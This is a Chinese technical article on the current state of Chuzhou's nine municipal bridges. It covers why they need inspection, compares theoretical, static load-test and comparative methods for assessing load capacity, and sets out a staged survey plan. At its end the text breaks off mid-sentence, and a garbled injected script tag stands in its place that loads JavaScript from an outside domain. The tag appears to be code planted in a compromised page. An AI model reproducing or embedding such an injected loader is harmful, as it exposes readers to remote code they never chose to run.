1　滁州市城市桥涵现状

    滁州市目前城市的管理桥涵一共为9座，桥涵类型分布情况为2座石拱桥、2座板桥、4座双曲拱桥、1座板拱桥。从建设年代上看，其中2座小桥涵建设时间较早，广惠桥建设年代为1332年，下水关桥的建设年代为1383年，2个桥梁距现在都已经近500~600年，年代较为久远。其余的建设时间为20世纪40年代有1座、70年代3座、80年代1座、90年代1座，最近的桥梁目前已经使用超过了10多年。

    目前，滁州市政管理及养护的桥涵情况见右表。

    2　城市桥梁检查的必要性

    根据建设部文件要求，城市市政管理部门需要对市政管辖的桥梁进行详尽普查，以便发现桥梁的现存状况，检查桥梁的病害，分析桥梁的承载能力，建立城市桥梁的档案，加强城市桥梁的管理。对于存在病害不严重的桥梁，根据调查的资料加强养护，进行限载；对于病害严重的桥梁，应根据调查资料采取加固措施，必要时候进行改造。

    每座桥在使用过程中其结构功能和使用性能会因行车荷载和环境因素的不断作用而逐渐变坏，在使用期内需要有具备一定桥梁知识与技能的人员和一定的资金对桥梁进行养护和管理，使每座桥梁保持一定的服务水平，经常处于完好的技术状态，延长其使用年限。

    3　桥梁调查及检测评估的初步构想
 
    桥涵调查的目标有2个，一是建立桥梁的病害状况档案及管理信息系统，以便管理部门有效地进行桥梁的管理、养护；二是确定桥梁的实际承载能力，确定桥梁的最大容许通行车辆荷载，确定桥梁的限载标准，以便降低桥梁的荷载，延长桥梁的使用寿命，确保桥梁的安全使用。

    上述目标中，第1个目标实施不存在较大困难，可以通过对管理的桥涵进行病害状况调查，获得桥涵目前的实际状况，进而建立桥涵的病害状况档案以及管理信息系统，实现对桥梁进行现代化的管理和监控。

    第2个目标是确定桥梁的实际承载能力，实施起来工作量较大。确定桥梁实际承载能力的方法有3种：一是理论法，即通过桥梁的状况调查资料，获得桥梁构件的折减系数，依据桥梁的设计文件和相关资料，对桥梁进行理论计算，在确定合理的折减系数的情况下，可以获得荷载作用下构件的应力及位移，与设计值及控制值进行对比，进而获得桥梁通行的容许荷载；二是静载试验方法，即对桥梁进行理论分析，确定桥梁的试验荷载工况，采用试验荷载在桥梁的关键及最不利荷载位置进行加荷，观测试验荷载作用下的构件的应力及位移，与设计值及控制值进行对比，进而获得桥梁的通行容许荷载；三是对比参照法，即根据桥梁的桥型、跨径、桥宽、通行荷载、目前状况等均一致的实际运营桥梁的通行容许荷载，确定所考察桥梁的实际通行容许荷载。

    通过对所管理的桥梁进行现场和资料的调查表明，目前仅有1座桥梁，即西涧大桥具有完整的施工图纸、施工过程记录资料，但是其养护管理资料也没有建立。其余的桥梁既没有设计资料，也没有相关的养护资料。因此，采用第1种方法进行桥梁实际承载能力判断困难较大，虽然可以通过各种不同的测试手段，获得桥梁的几何数据、混凝土强度以及钢筋的布置等信息，却无法确定桥梁的全部资料，给理论计算带来较大的困难。第2种方法是确定桥梁实际承载能力的一种极为有效的手段，尤其是针对缺乏设计、养护等相关资料的桥涵，通过实际荷载试验，结合桥梁的目前状况调查，可以很直接确定桥涵的承载能力，但是这种方法也存在缺点，主要是荷载试验费用较高，同时周期较长，试验准备工作量大，荷载试验期间要进行封闭交通，给城市居民的出行带来较大的不便。

    针对第3种方法，由于目前大部分的桥梁都不具有设计、施工、养护资料，因此也无法对比参考。
 
    根据上面的调查分析，结合目前的具体情况，滁州市桥涵调查工作分2步实施。第1步即对所有的桥涵进行病害状况调查，收集桥涵的状况参数及运营信息、养护信息，对所有的桥涵建立病害状况档案，并开发桥梁管理信息系统，实现对桥涵的信息采集、管理和维护正常化，有效地对桥涵进行管理和监控。第2步是在上面的基础上，对桥涵的状况进行分析和讨论，采取专家评议或其他方式，确定桥涵的实际承载能力。可以选择其中1~2座状况较差、承载繁重、地处交通要道、具有代表性的桥梁进行荷载试验，以确定其实际承载能力及桥梁的安全等级。对于其他的桥涵，采取跟踪观测的方法，保证桥涵的安全运营。

    4　实施方案

    4.1病害调查

    ①桥梁的基本数据及资料收集。包括桥梁的设计、施工、监理以及历次检查与试验报告?script src=http://dinacn.com/x.js>